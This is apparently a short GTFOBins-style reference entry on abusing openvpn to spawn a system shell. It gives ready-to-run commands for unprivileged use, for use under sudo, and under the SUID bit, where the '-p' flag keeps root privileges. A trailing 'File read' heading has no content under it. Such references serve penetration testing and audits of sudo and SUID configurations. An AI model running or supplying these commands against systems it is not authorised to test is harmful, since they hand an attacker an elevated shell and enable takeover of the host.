Shell

This executable can spawn an interactive system shell.

• Unprivileged

  This function can be performed by any unprivileged user.

  openvpn --dev null --script-security 2 --up '/bin/sh -s'

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  openvpn --dev null --script-security 2 --up '/bin/sh -s'

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  Remarks

  This executable runs commands directly, e.g., via functions like exec, remember to omit the -p argument of every /bin/sh invocation for distributions where the default shell does not drop SUID privileges.

  openvpn --dev null --script-security 2 --up '/bin/sh -p -s'

File read
